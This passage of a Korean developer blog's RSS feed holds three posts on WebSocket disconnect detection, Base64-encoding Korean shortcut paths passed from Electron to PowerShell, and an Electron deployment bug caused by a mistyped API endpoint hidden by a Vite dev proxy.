            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/27ac93f1-88c5-4931-9602-a8aeadbd4f68/image.png" alt=""></p>
<p>웹소켓 기반 애플리케이션을 운영하다 보면 가장 많이 마주치는 이슈가 바로</p>
<p>👉 <strong>&quot;연결이 끊겼는데도 UI는 멀쩡해 보이는 문제&quot;</strong>입니다.</p>
<p>특히 <strong>절전모드(슬립)</strong>나 <strong>노트북 덮기</strong>, <strong>탭 전환 후 장시간 방치</strong> 같은 상황에서는</p>
<p>브라우저가 웹소켓을 끊었음에도 <code>readyState === OPEN</code> 으로 남아있는 경우도 있습니다.</p>
<p>이 글에서는 다음 내용을 다룹니다:</p>
<hr>
<h3 id="1-❌-왜-웹소켓이-끊겼는지-모르고-방치될까">1. ❌ 왜 웹소켓이 끊겼는지 모르고 방치될까?</h3>
<p>WebSocket은 브라우저/OS/네트워크 상태에 따라 &quot;조용히 끊길 수 있습니다&quot;.</p>
<ul>
<li>절전모드 → 브라우저 프로세스 일시 정지됨</li>
<li>네트워크 재연결 → underlying TCP 소켓 끊김</li>
<li>VPN 변경/라우팅 오류 → 서버 도달 실패</li>
<li>방화벽/프록시 → 일정시간 이후 소켓 정리</li>
</ul>
<p>📌 문제는 <code>webSocket.readyState</code>가 <strong>항상 믿을 수 있는 값은 아니라는 것</strong>입니다.</p>
<hr>
<h3 id="2-🌙-절전모드-감지-하트비트-방식">2. 🌙 절전모드 감지: 하트비트 방식</h3>
<p>가장 많이 쓰는 방식 중 하나는 바로 <strong>하트비트(heartbeat)</strong>.</p>
<pre><code class="language-tsx">
setInterval(() =&gt; {
  const now = Date.now();
  const drift = now - lastTick;
  if (drift &gt; 10000) {
    console.warn(&#39;절전모드 감지, 웹소켓 재연결 시도&#39;);
    reconnect();
  }
  lastTick = now;
}, 5000);</code></pre>
<ul>
<li><code>performance.timing.navigationStart</code> 또는 <code>Date.now()</code>를 주기적으로 측정</li>
<li>예상보다 오래 걸리면 → 절전모드에서 깨어났다고 판단</li>
<li>→ 이 시점에 <code>WebSocket.readyState !== OPEN</code>이거나 이상하면 재연결</li>
</ul>
<h4 id="✨하트비트heartbeat란"><strong>✨</strong>하트비트(heartbeat)란?</h4>
<p>하트비트는 <strong>&quot;앱 레벨에서 주기적으로 연결 상태를 감지하는 로직&quot;</strong>입니다.</p>
<ul>
<li><code>setInterval</code>로 5초마다 체크</li>
<li>연결 상태를 확인하거나, <code>ping</code> 요청을 날려 응답 확인</li>
<li>절전모드 감지, 이벤트 루프 delay 감지, 앱의 주기적 상태확인 등에 쓰임</li>
</ul>
<hr>
<h3 id="3-🛰️-websocket-pingpong-프레임">3. 🛰️ WebSocket Ping/Pong 프레임</h3>
<p>WebSocket은 RFC 6455 표준에 따라</p>
<p><strong>프로토콜 레벨에서 ping/pong 프레임</strong>을 지원합니다.</p>
<h4 id="pingpong-특징">Ping/Pong 특징</h4>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>Ping 전송 주체</td>
<td>서버 또는 클라이언트</td>
</tr>
<tr>
<td>Pong 응답</td>
<td>상대방이 자동 응답하거나 앱에서 응답</td>
</tr>
<tr>
<td>장점</td>
<td>TCP 단에서 직접 응답 → 실제 연결 생존 여부 확인 가능</td>
</tr>
<tr>
<td>단점</td>
<td>브라우저에서 <code>WebSocket.ping()</code> 직접 호출은 불가 (Node.js는 가능)</td>
</tr>
</tbody></table>
<blockquote>
<p>⚠️ 일반 브라우저 JS에서는 ping 프레임을 직접 보낼 수 없습니다.<br>→ 서버가 ping, 클라이언트가 pong 응답</p>
</blockquote>
<hr>
<h3 id="4-🏭-실무에서는-어떻게">4. 🏭 실무에서는 어떻게?</h3>
<h4 id="---onclose만-쓰면-안-되는-이유">-  onclose만 쓰면 안 되는 이유</h4>
<p>웹소켓을 감시할 때, 많은 분들이 처음엔 이렇게 처리합니다:</p>
<pre><code class="language-tsx">const ws = new WebSocket(&#39;wss://...&#39;);
ws.onclose = () =&gt; {
  console.warn(&#39;웹소켓 닫힘 → 재연결 시도&#39;);
  reconnect();
};</code></pre>
<p>하지만 실무에서는 매우 불안정합니다:</p>
<h4 id="---문제점들">-  문제점들</h4>
<ul>
<li>절전모드에서 <strong>onclose 발동되지 않음</strong></li>
<li>라우팅 장애, VPN 전환 등에서도 <strong>readyState는 OPEN 상태 유지</strong></li>
<li>서버가 죽어도 <strong>클라이언트는 알 수 없음</strong></li>
</ul>
<h4 id="---참고-onclose란">-  참고: onclose란?</h4>
<ul>
<li>WebSocket 연결이 <strong>정상적으로 종료되었을 때</strong> 실행되는 콜백 함수입니다.</li>
<li>예를 들어 <code>ws.close()</code>를 호출했을 때나 서버가 명시적으로 연결을 닫을 때 발생합니다.</li>
<li>하지만 네트워크 끊김, 절전모드 등은 <strong>비정상 종료</strong>이기 때문에 onclose가 호출되지 않을 수 있습니다.</li>
</ul>
<h4 id="✅-그래서-실무에서는-이렇게-대응합니다">✅ 그래서 실무에서는 이렇게 대응합니다</h4>
<table>
<thead>
<tr>
<th>감지 방법</th>
<th>역할</th>
<th>왜 필요한가</th>
</tr>
</thead>
<tbody><tr>
<td><code>onclose</code></td>
<td><strong>명시적 연결 종료 감지</strong></td>
<td>유저가 logout하거나 서버가 정상적으로 연결을 종료했을 때</td>
</tr>
<tr>
<td><strong>heartbeat</strong></td>
<td><strong>절전모드 / 지연 / 렌더러 이슈 감지</strong></td>
<td>타이머 기반 감지, OS의 방해를 받지 않음</td>
</tr>
<tr>
<td><strong>ping/pong</strong></td>
<td><strong>실제 TCP 연결 생존 확인</strong></td>
<td>서버 ↔ 클라이언트 네트워크 상태 감시</td>
</tr>
</tbody></table>
<hr>
<h3 id="💡-결론-onclose는-일부-상황에서만-유효">💡 결론: <code>onclose</code>는 일부 상황에서만 유효</h3>
<ul>
<li><code>onclose</code>는 <strong>정상 종료에만 잘 작동</strong>합니다</li>
<li>절전모드, 네트워크 오류, VPN, 방화벽 등 실무에서 자주 발생하는 이슈에는 <strong>아예 작동 안 하는 경우도 많습니다</strong></li>
<li>그래서 반드시 heartbeat 또는 ping/pong을 <strong>보완적으로 사용</strong>해야 합니다</li>
</ul>
<p>실무에서는 <strong>&quot;둘 다&quot; 병행</strong>합니다.</p>
<table>
<thead>
<tr>
<th>목적</th>
<th>방식</th>
<th>비고</th>
</tr>
</thead>
<tbody><tr>
<td>실제 네트워크 생존 여부 확인</td>
<td>ping/pong</td>
<td>서버 중심</td>
</tr>
<tr>
<td>앱 자체의 이상 상황 감지</td>
<td>heartbeat</td>
<td>프론트 중심</td>
</tr>
<tr>
<td>브라우저 환경 대응</td>
<td>heartbeat</td>
<td>절전모드, 탭 전환 감지</td>
</tr>
<tr>
<td>방화벽/프록시 대응</td>
<td>ping/pong</td>
<td>keep-alive 용도</td>
</tr>
</tbody></table>
<p>💡 실무에서는 서버가 <code>ping</code>, 클라이언트가 <code>pong</code> 응답하고</p>
<p>프론트는 30초마다 <code>setInterval</code>로 <code>readyState</code>를 감시하는 구조가 일반적입니다.</p>
<hr>
<h3 id="5-electron--react--vite-환경에서의-적용-예시">5. Electron + React + Vite 환경에서의 적용 예시</h3>
<p>Electron 앱의 렌더러 프로세스에서는 다음처럼 heartbeat를 구현할 수 있습니다.</p>
<pre><code class="language-tsx">
// heartbeat.ts
let lastCheck = Date.now();

setInterval(() =&gt; {
  const now = Date.now();
  const delay = now - lastCheck;

  if (delay &gt; 10000) {
    console.warn(&#39;[하트비트] 절전모드 감지 → 재연결 시도&#39;);
    webSocketManager.manualReconnect(); // 커스텀 재연결 로직
  }

  lastCheck = now;
}, 5000);
</code></pre>
<p>또는 WebSocket wrapper 클래스 내에서 다음과 같이 상태를 주기적으로 체크할 수 있습니다:</p>
<pre><code class="language-tsx">
const ws = new WebSocket(&#39;wss://...&#39;);
setInterval(() =&gt; {
  if (ws.readyState !== WebSocket.OPEN) {
    console.warn(&#39;연결 끊김 → reconnect&#39;);
    reconnect();
  }
}, 10000);
</code></pre>
<hr>
<h3 id="📌-실전-팁-요약">📌 실전 팁 요약</h3>
<ul>
<li><p><code>WebSocket.readyState</code>는 믿되 너무 믿지 말자</p>
<ul>
<li><p><code>readyState</code>별 의미 요약 표</p>
<pre><code class="language-markdown">
  | 상태 코드 | 이름        | 의미                       |
  |-----------|-------------|----------------------------|
  | 0         | CONNECTING  | 연결 중                    |
  | 1         | OPEN        | 연결 완료, 송수신 가능     |
  | 2         | CLOSING     | 연결 종료 중               |
  | 3         | CLOSED      | 연결 종료됨                |</code></pre>
</li>
</ul>
</li>
<li><p>절전모드, 탭 전환 등은 하트비트로 감지</p>
</li>
<li><p>서버는 ping/pong 설정을 적극 활용하자</p>
</li>
<li><p>Electron 환경에서도 렌더러에 heartbeat는 유용하게 작동</p>
</li>
</ul>
<hr>
<h4 id="📚-참고자료">📚 참고자료</h4>
<ul>
<li>RFC 6455 - The WebSocket Protocol</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket">MDN - WebSocket</a></li>
<li>Socket.IO Heartbeat 참고</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[⚠️ 바로가기 `.lnk` 한글 경로 때문에 6번 디버깅한 썰 (feat. Base64)]]></title>
            <link>https://velog.io/@songyeonji_/%EB%B0%94%EB%A1%9C%EA%B0%80%EA%B8%B0-.lnk-%ED%95%9C%EA%B8%80-%EA%B2%BD%EB%A1%9C-%EB%95%8C%EB%AC%B8%EC%97%90-6%EB%B2%88-%EB%94%94%EB%B2%84%EA%B9%85%ED%95%9C-%EC%8D%B0-feat.-Base64</link>
            <guid>https://velog.io/@songyeonji_/%EB%B0%94%EB%A1%9C%EA%B0%80%EA%B8%B0-.lnk-%ED%95%9C%EA%B8%80-%EA%B2%BD%EB%A1%9C-%EB%95%8C%EB%AC%B8%EC%97%90-6%EB%B2%88-%EB%94%94%EB%B2%84%EA%B9%85%ED%95%9C-%EC%8D%B0-feat.-Base64</guid>
            <pubDate>Wed, 11 Jun 2025 00:08:14 GMT</pubDate>
            <description><![CDATA[<h2 id="🧠-시작은-단순했다-바로가기l-lnk도-처리해야겠네">🧠 시작은 단순했다: “바로가기(l .lnk)도 처리해야겠네?”<img src="https://velog.velcdn.com/images/songyeonji_/post/d65e1bc5-eadd-416a-9a4e-68687d987a71/image.png" alt=""></h2>
<p>보안 기능을 만들면서 실행 파일 감지를 하는데,</p>
<p>생각보다 이런 경로가 많이 튀어나왔다:</p>
<pre><code>
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\한셀 2024.lnk</code></pre><blockquote>
<p>“어? EXE가 아니고 LNK네?”</p>
</blockquote>
<p>맞다. 대부분의 사용자는 프로그램을 직접 실행하는 게 아니라 <strong>시작메뉴 / 바탕화면 바로가기</strong>를 클릭한다.</p>
<p>결국 <code>.lnk</code> 파일을 열어서 실제 실행 대상(EXE 경로)을 뽑아야 한다는 결론에 도달했다.</p>
<hr>
<h2 id="🔎-lnk-구조-분석--powershell-구현">🔎 LNK 구조 분석 &amp; PowerShell 구현</h2>
<p>Windows <code>.lnk</code> 파일은 단순 텍스트가 아니다.</p>
<p><strong>WScript.Shell COM 객체를 통해 접근해야</strong> 한다.</p>
<p>PowerShell 스크립트는 간단했다:</p>
<pre><code class="language-powershell">powershell
복사편집
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut(&quot;C:\경로\한셀 2024.lnk&quot;)
$shortcut.TargetPath
</code></pre>
<p>이걸 Electron에서 Node.js <code>child_process.spawn()</code>으로 실행하면 끝이다.</p>
<p><strong>그럴 줄 알았다.</strong></p>
<hr>
<h2 id="💣-문제-powershell에선-되는데-electron에선-안-된다">💣 문제: “PowerShell에선 되는데 Electron에선 안 된다”</h2>
<p>PowerShell 콘솔에선 잘 되는데,</p>
<p>Electron에서 실행하면 결과가 무조건 <code>&#39;&#39;</code> (빈 문자열).</p>
<pre><code>ts
복사편집
// Electron
const result = await execPowerShell(&#39;한셀 2024.lnk&#39;);
console.log(result); // &#39;&#39;
</code></pre><h3 id="내가-시도했던-디버깅-16단계">내가 시도했던 디버깅 1~6단계</h3>
<table>
<thead>
<tr>
<th>순번</th>
<th>시도</th>
<th>결과</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td>파일 경로 확인</td>
<td>존재함</td>
</tr>
<tr>
<td>2</td>
<td>경로 하드코딩해보기</td>
<td>여전히 빈 문자열</td>
</tr>
<tr>
<td>3</td>
<td>UTF-8로 파일 저장</td>
<td>안 됨</td>
</tr>
<tr>
<td>4</td>
<td><code>-Encoding UTF8</code> 옵션 추가</td>
<td>무효</td>
</tr>
<tr>
<td>5</td>
<td>PowerShell 내부에 echo 찍기</td>
<td>출력됨 → 경로만 깨짐</td>
</tr>
<tr>
<td>6</td>
<td><code>console.log(filePath)</code> 확인</td>
<td>한글 잘 찍힘 → 파워셸로 넘어가는 중 깨짐</td>
</tr>
</tbody></table>
<hr>
<h2 id="🧬-원인-분석">🧬 원인 분석</h2>
<p>Electron → PowerShell 호출 시, 인자로 전달되는 경로가 <strong>한글이면 깨진다.</strong></p>
<p>왜냐면:</p>
<ul>
<li><p>Electron(Node.js)은 기본적으로 <code>UTF-8</code></p>
</li>
<li><p>PowerShell은 <strong>윈도우 로케일 영향으로 CP949를 쓸 수도 있음</strong></p>
</li>
<li><p>그래서 <strong>CLI 인자 전달 시 한글이 깨짐</strong></p>
<p>  (<code>CreateShortcut(&#39;��� 2024.lnk&#39;)</code> ← 이렇게 변형됨)</p>
</li>
</ul>
<hr>
<h2 id="🤦-utf-8로-저장하면-되겠지는-착각이었다">🤦 “UTF-8로 저장하면 되겠지”는 착각이었다</h2>
<p>처음엔 이렇게 생각했다:</p>
<blockquote>
<p>“스크립트 파일 자체를 UTF-8 BOM으로 저장하면 되겠지?”</p>
</blockquote>
<p>❌ 결과: 안 됨</p>
<p>왜냐하면 <strong>깨지는 시점이 스크립트 실행이 아니라, 경로 인자 전달 시점</strong>이기 때문이다.</p>
<hr>
<h2 id="🧠-base64라는-진짜-해결책">🧠 Base64라는 진짜 해결책</h2>
<p>결국 알게 됐다:</p>
<blockquote>
<p>Electron → PowerShell 전달 경로를 Base64로 인코딩해서 넘기면 된다.</p>
</blockquote>
<p>Base64는 ASCII 문자만으로 구성되어</p>
<p><strong>OS, 로케일, 인코딩 충돌 없이 항상 안전하게 전송</strong>된다.</p>
<h3 id="👇-그래서-이렇게-바꿨다">👇 그래서 이렇게 바꿨다:</h3>
<h3 id="🔁-electron">🔁 Electron:</h3>
<pre><code class="language-tsx">
const encoded = Buffer.from(filePath, &#39;utf8&#39;).toString(&#39;base64&#39;);
spawn(&#39;powershell.exe&#39;, [&#39;-File&#39;, &#39;script.ps1&#39;, encoded]</code></pre>
<h3 id="🔁-powershell">🔁 PowerShell:</h3>
<pre><code class="language-powershell">
param($encoded)
$decoded = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encoded))
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($decoded)
$shortcut.TargetPath</code></pre>
<p><strong>Boom! 이제 한글 경로도 완벽하게 처리된다.</strong></p>
<hr>
<h2 id="🧪-왜-base64만이-해결책인가">🧪 왜 Base64만이 해결책인가?</h2>
<table>
<thead>
<tr>
<th>항목</th>
<th>UTF-8</th>
<th>Base64</th>
</tr>
</thead>
<tbody><tr>
<td>한글 포함 문자열 처리</td>
<td>깨질 수 있음</td>
<td>절대 안 깨짐</td>
</tr>
<tr>
<td>CLI 인자 안전성</td>
<td>❌ OS에 따라 다름</td>
<td>✅ 항상 안전</td>
</tr>
<tr>
<td>PowerShell 환경 일관성</td>
<td>❌ 인코딩 로케일 영향 받음</td>
<td>✅ ASCII 문자만 사용</td>
</tr>
<tr>
<td>사용 목적</td>
<td>저장, 출력용</td>
<td>데이터 전송, 인자 전달용</td>
</tr>
</tbody></table>
<h3 id="핵심">핵심:</h3>
<blockquote>
<p>UTF-8은 문자열 인코딩이고, Base64는 전송 인코딩이다.</p>
<p>CLI 인자, 파일 경로, JSON 내 인자처럼 전송이 필요한 곳엔 Base64가 정답이다.</p>
</blockquote>
<hr>
<h2 id="✅-최종-구현-흐름">✅ 최종 구현 흐름</h2>
<ol>
<li>LNK 경로 Base64 인코딩</li>
<li>PowerShell에 전달</li>
<li>Base64 디코딩 후 <code>CreateShortcut</code>으로 대상 추출</li>
<li>대상 EXE가 존재하면 해당 경로의 파일 메타데이터도 추출</li>
</ol>
<p>이제 아래처럼 JSON으로 묶어서 반환된다:</p>
<pre><code class="language-json">
{
  &quot;lnk&quot;: {
    &quot;filePath&quot;: &quot;C:\\...\\한셀 2024.lnk&quot;,
    &quot;targetPath&quot;: &quot;C:\\Program Files\\HCell.exe&quot;,
    &quot;description&quot;: &quot;한글 스프레드시트&quot;
  },
  &quot;exe&quot;: {
    &quot;progNm&quot;: &quot;한셀 2024&quot;,
    &quot;prdNm&quot;: &quot;HCell&quot;,
    &quot;signValid&quot;: true}
}
</code></pre>
<hr>
<h2 id="🧠-마무리-회고">🧠 마무리 회고</h2>
<p>처음엔 단순히 “바로가기도 처리해야겠다”는 생각이었는데,</p>
<p>그 끝엔 인코딩 지옥, CLI 디버깅, PowerShell 삽질이 기다리고 있었다.</p>
<p>그나마 다행인 건,</p>
<p><strong>이제는 한글 포함된 모든 바로가기를 완벽하게 처리</strong>할 수 있게 됐다는 점이다.</p>
<h3 id="💡-개발자를-위한-tip-clicommand-line-interface란">💡 개발자를 위한 TIP: CLI(Command-Line Interface)란?</h3>
<p><strong>CLI란?</strong></p>
<p>Command-Line Interface의 줄임말로,</p>
<p>GUI(그래픽 사용자 인터페이스) 없이 명령어를 텍스트로 입력해서 컴퓨터를 조작하는 방식이다.</p>
<ul>
<li>대표 예시:<ul>
<li>Windows의 <code>cmd.exe</code>, <code>powershell.exe</code></li>
<li>macOS, Linux의 <code>bash</code>, <code>zsh</code>, <code>terminal</code></li>
</ul>
</li>
</ul>
<pre><code class="language-bash">
# 예시: 파일 경로를 인자로 받아 처리하는 명령
powershell.exe -File myscript.ps1 &quot;C:\Users\연지\문서\바로가기.lnk&quot;</code></pre>
<p><strong>왜 CLI에서 문제가 발생했을까?</strong></p>
<ul>
<li>CLI는 텍스트 기반이라 <code>&#39;한글&#39; → byte → 다시 문자열</code>로 변환되는 과정에서 <strong>인코딩 오류</strong>가 생기기 쉬움</li>
<li>특히 <strong>PowerShell은 시스템 로케일(예: CP949)</strong>을 따라가는 반면, Electron(Node.js)은 <strong>UTF-8을 기본</strong>으로 사용함</li>
<li>이 차이로 인해 <strong>CLI 인자로 한글을 넘길 때 깨지는 현상</strong>이 발생했다</li>
</ul>
<p>👉 그래서 해결책은?</p>
<blockquote>
<p>Base64 인코딩으로 경로를 감싼 다음 넘기면, CLI 내부에서 무조건 안전하게 처리 가능</p>
</blockquote>
<p>CLI에서는 데이터를 다룰 때 <strong>문자 그대로 전달되는 게 아니라 바이트 수준의 처리</strong>가 되기 때문에,</p>
<p><strong>ASCII만 사용하는 Base64가 매우 안정적인 해결책</strong>이 된다.</p>
<h3 id="👇-개발자-여러분-이건-꼭-기억하세요">👇 개발자 여러분, 이건 꼭 기억하세요:</h3>
<blockquote>
<p>PowerShell에서 잘 된다고 Electron에서도 잘 되리라는 법은 없다.</p>
<p><strong>CLI 인자엔 무조건 Base64를 써라.</strong></p>
<p>아니면 3시간 날릴 수 있다 😇</p>
</blockquote>
]]></description>
        </item>
        <item>
            <title><![CDATA[Electron 배포 후 API가 안 터질 때, 멘탈 터진 이야기]]></title>
            <link>https://velog.io/@songyeonji_/Electron-%EB%B0%B0%ED%8F%AC-%ED%9B%84-API%EA%B0%80-%EC%95%88-%ED%84%B0%EC%A7%88-%EB%95%8C-%EB%A9%98%ED%83%88-%ED%84%B0%EC%A7%84-%EC%9D%B4%EC%95%BC%EA%B8%B0</link>
            <guid>https://velog.io/@songyeonji_/Electron-%EB%B0%B0%ED%8F%AC-%ED%9B%84-API%EA%B0%80-%EC%95%88-%ED%84%B0%EC%A7%88-%EB%95%8C-%EB%A9%98%ED%83%88-%ED%84%B0%EC%A7%84-%EC%9D%B4%EC%95%BC%EA%B8%B0</guid>
            <pubDate>Mon, 09 Jun 2025 01:57:03 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/songyeonji_/post/442b8b08-06be-46ff-8efd-ca19611f5b84/image.png" alt=""></p>
<p><strong>&quot;개발 모드에선 100% 완벽하게 작동했는데요?&quot;</strong></p>
<p>그 말, 배포 환경 앞에선 무력하다는 걸 여러분도 아시죠?</p>
<p>이번엔 정말 ‘작동’은 했지만 <strong>데이터는 안 왔던</strong> 미스터리.</p>
<p>그래서 무려 반나절 동안 머리 싸매고 추적한 로그 로그 로그…</p>
<p>결론부터 말하자면?</p>
<blockquote>
<p>엔드포인트 오타 + 개발 모드의 과잉 친절 + 배포의 차가움 = 디버깅 지옥</p>
</blockquote>
<p>이 긴 여정, 벨로그에 소환합니다.</p>
<h3 id="🛠️-세팅-요약">🛠️ 세팅 요약</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>프론트</td>
<td>React + Vite</td>
</tr>
<tr>
<td>백엔드</td>
<td>HTTPS REST API</td>
</tr>
<tr>
<td>데스크탑 앱</td>
<td>Electron + electron-builder</td>
</tr>
<tr>
<td>API 통신 방식</td>
<td>axios + Vite define 치환 + .env</td>
</tr>
<tr>
<td>개발/배포 분기</td>
<td><code>__API_BASE__</code> → env에서 치환</td>
</tr>
</tbody></table>
<h3 id="🧨-1-사건-개요">🧨 1. 사건 개요</h3>
<p>Electron + React + Vite 조합으로 멋지게 GUI 앱을 개발하던 어느 날…</p>
<p><strong>“개발에선 잘 되던 API 호출이 배포 후엔 아무 반응이 없었다.”</strong></p>
<p>기분 좋게 <code>electron-builder</code>로 <code>.exe</code>를 빌드하고 실행했더니,</p>
<p><strong>API는 침묵. 화면은 정지. 내 심장도 멈췄다.</strong></p>
<hr>
<h3 id="🔍-2-이상했던-점">🔍 2. 이상했던 점</h3>
<ul>
<li>엔진은 잘 실행됨 ✅</li>
<li>Pipe 메시지 정상적으로 주고받음 ✅</li>
<li>근데 <strong>Axios API 요청만 안 감</strong> ❌</li>
<li>심지어 콘솔 로그도 안 찍힘 ❌</li>
</ul>
<blockquote>
<p>이쯤 되면 “Electron 배포하면 CORS 문제 생기나?”,</p>
<p>“env 문제인가?”, “build 설정에서 뭘 빼먹었나?” 하는 의심이 차례로 들기 시작했습니다.…</p>
</blockquote>
<hr>
<h3 id="🧪-3-브레이크-포인트-오타였다고">🧪 3. 브레이크 포인트: 오타였다고?</h3>
<p>개발 모드에선 잘 되던 이 코드:</p>
<pre><code class="language-tsx">
axios.post(`${API_BASE}/@@@@@/rest/getAlwCmmnExePrgList.do`)</code></pre>
<blockquote>
<p>배포 후에도 잘 될 줄 알았지. 하지만 실제 API는 이거였음:</p>
</blockquote>
<pre><code class="language-tsx">
axios.post(`${API_BASE}/@@@@/rest/getAllowWebList.do`)</code></pre>
<p>즉,</p>
<ul>
<li><code>getAlwCmmnExePrgList.do</code> → ❌ 오타</li>
<li><code>getAllowWebList.do</code> → ✅ 올바름</li>
</ul>
<hr>
<h3 id="🧙♀️-4-개발-모드에서는-왜-괜찮았냐면요">🧙‍♀️ 4. 개발 모드에서는 왜 괜찮았냐면요…</h3>
<h3 id="🌈-개발-모드-마법-세트">🌈 개발 모드 마법 세트</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Vite proxy</strong></td>
<td><code>/@@@@@/rest</code> → 실제 서버로 프록시 전달</td>
</tr>
<tr>
<td><strong>Mock Adapter</strong></td>
<td>요청 URL이 좀 틀려도 “있다고 친다”</td>
</tr>
<tr>
<td><strong>상대경로 호출</strong></td>
<td>브라우저에서 보내면 Vite가 뒷처리함</td>
</tr>
</tbody></table>
<p>👉 즉, <strong>오타가 있어도 mock이 받아줌</strong> → 데이터가 응답됨 → 난 문제를 눈치채지 못함...</p>
<h4 id="잠깐-vite-proxy가-뭐냐면요">잠깐! Vite Proxy가 뭐냐면요?</h4>
<blockquote>
<p>“개발 모드에서는 API 요청을 그냥 localhost로 보내도 잘 되던데요?”</p>
<p>그건 다 <strong>Vite의 <code>proxy</code> 기능 덕분</strong>입니다.</p>
</blockquote>
<h4 id="🎭-프록시란">🎭 프록시란?</h4>
<p>프록시는 <strong>중간에서 대신 요청을 전달해주는 대리인</strong>입니다.</p>
<p>즉, React 앱(렌더러)이 아래처럼 요청하더라도:</p>
<pre><code class="language-tsx">
axios.post(&#39;/@@@@@/rest/getAllowWebList.do&#39;, {...})</code></pre>
<p>브라우저는 그걸 <code>http://localhost:3000/@@@@@/rest/getAllowWebList.do</code>로 해석하고,</p>
<p>Vite dev server는 설정에 따라 <strong>실제 서버인</strong> <code>https://*******.com:8443</code>로 요청을 <strong>자동 전달</strong>합니다.</p>
<h4 id="🧪-개발-환경에서-proxy가-해주는-일">🧪 개발 환경에서 Proxy가 해주는 일</h4>
<pre><code class="language-tsx">
// vite.config.ts
server: {
  proxy: {
    &#39;/@@@@@/rest&#39;: {
      target: &#39;https://*******.com:8443&#39;,
      changeOrigin: true,
      secure: false,
    }
  }
}</code></pre>
<p>위 설정이 있다면 <code>/@@@@@@/rest/xxx.do</code>로 오는 요청을</p>
<p>모두 <code>https://*******.com:8443/@@@@@/rest/xxx.do</code>로 프록시해주는 것!</p>
<h3 id="😈-근데-배포exe-모드에서는">😈 근데 배포(EXE) 모드에서는?</h3>
<ul>
<li>Vite dev server가 없으니 proxy도 <strong>아예 작동 안 함</strong>.</li>
<li>상대경로(<code>/@@@@@/rest/...</code>)로 호출하면 브라우저는 그냥 <code>file://</code>에서 찾으려 하거나, 아예 URL을 못 찾음.</li>
<li>즉, <strong>프록시 없는 배포 환경에서는 절대경로(https://…)를 무조건 써야 함</strong>.</li>
</ul>
<hr>
<h3 id="💡-그래서-왜-문제가-생긴-걸까">💡 그래서 왜 문제가 생긴 걸까?</h3>
<ol>
<li>개발 모드에서는 <code>/####/rest/...</code> → Vite가 프록시로 넘겨줌 → 작동</li>
<li>배포 모드에서는 프록시 없음 → 요청이 날아가지 않거나, 404 에러</li>
</ol>
<hr>
<h3 id="💥-5-배포-후엔-왜-터졌냐면요">💥 5. 배포 후엔 왜 터졌냐면요…</h3>
<h3 id="🔥-배포exe-모드의-진실">🔥 배포(EXE) 모드의 진실</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>Vite dev server 없음 ❌</td>
<td>proxy 동작도 없음</td>
</tr>
<tr>
<td>mock adapter 없음 ❌</td>
<td>전부 실제 서버로 바로 감</td>
</tr>
<tr>
<td><code>__API_BASE__</code>는 실 URL로 치환됨</td>
<td>오타나면 바로 404 뜸</td>
</tr>
</tbody></table>
<p>그러니까...</p>
<ul>
<li><strong>개발 모드에선 오타도 응답이 오지만</strong>,</li>
<li><strong>배포 모드에선 진짜 서버가 404를 때려버림</strong></li>
</ul>
<hr>
<h3 id="🧯-6-해결한-방법-총정리">🧯 6. 해결한 방법 총정리</h3>
<table>
<thead>
<tr>
<th>해결 항목</th>
<th>내용</th>
</tr>
</thead>
<tbody><tr>
<td>✅ 엔드포인트 오타 수정</td>
<td><code>getAllowWebList.do</code>로 정정</td>
</tr>
<tr>
<td>✅ 환경변수 재정비</td>
<td><code>.env</code>, <code>.env.development</code> 각각 구성</td>
</tr>
<tr>
<td>✅ <code>define: { __API_BASE__ }</code> 방식으로 치환</td>
<td>빌드시 API URL 자동 반영</td>
</tr>
<tr>
<td>✅ mock adapter 제거하고 실제 요청 테스트</td>
<td>배포 전에도 실제 백엔드 호출 확인 습관화</td>
</tr>
</tbody></table>
<hr>
<h3 id="🤡-7-나의-실수-모음-반성의-표">🤡 7. 나의 실수 모음 (반성의 표)</h3>
<table>
<thead>
<tr>
<th>항목</th>
<th>실수 내용</th>
</tr>
</thead>
<tbody><tr>
<td>엔드포인트 오타</td>
<td><code>getAlwCmmnExePrgList.do</code> → 잘못된 명칭</td>
</tr>
<tr>
<td>mock에 너무 의존</td>
<td>오타도 통과되니 진짜 문제를 못 봄</td>
</tr>
<tr>
<td>개발용 proxy 신뢰</td>
<td>배포 환경에서 proxy는 없음! 절대 URL 필수</td>
</tr>
<tr>
<td>콘솔 확인 안함</td>
<td>axios 요청 실패도 제대로 로깅 안 함</td>
</tr>
</tbody></table>
<hr>
<h3 id="✨-8-얻은-교훈">✨ 8. 얻은 교훈</h3>
<blockquote>
<p>“개발 모드는 착한 척할 뿐, 진짜 배포에서 모든 게 드러난다.”</p>
</blockquote>
<ul>
<li>✅ <strong>엔드포인트는 반드시 백엔드 문서랑 대조해서 철자까지 정확히</strong></li>
<li>✅ <strong>배포 전에 mock 제거하고 실제 서버에 테스트</strong></li>
<li>✅ <strong>Vite proxy는 개발 전용이라는 걸 잊지 말 것</strong></li>
<li>✅ <strong>define 치환 방식으로 env 관리하면 실수 줄일 수 있음</strong></li>
</ul>
<hr>
<h3 id="🧠-덤-내-애착-env-설정">🧠 덤: 내 애착 env 설정</h3>
<pre><code>
# .env.development
VITE_API_BASE=http://localhost:3000

# .env (프로덕션)
VITE_API_BASE=https://********.com:844</code></pre><p>vite.config.ts</p>
<pre><code class="language-tsx">
define: {
  __API_BASE__: JSON.stringify(env.VITE_API_BASE),
}</code></pre>
<p>api.ts</p>
<pre><code class="language-tsx">
const API_BASE = __API_BASE__;

export function getAllowedWebsites(...) {
  return axios.post(`${API_BASE}/@@@@@@/rest/getAllowWebList.do`, ...);
}
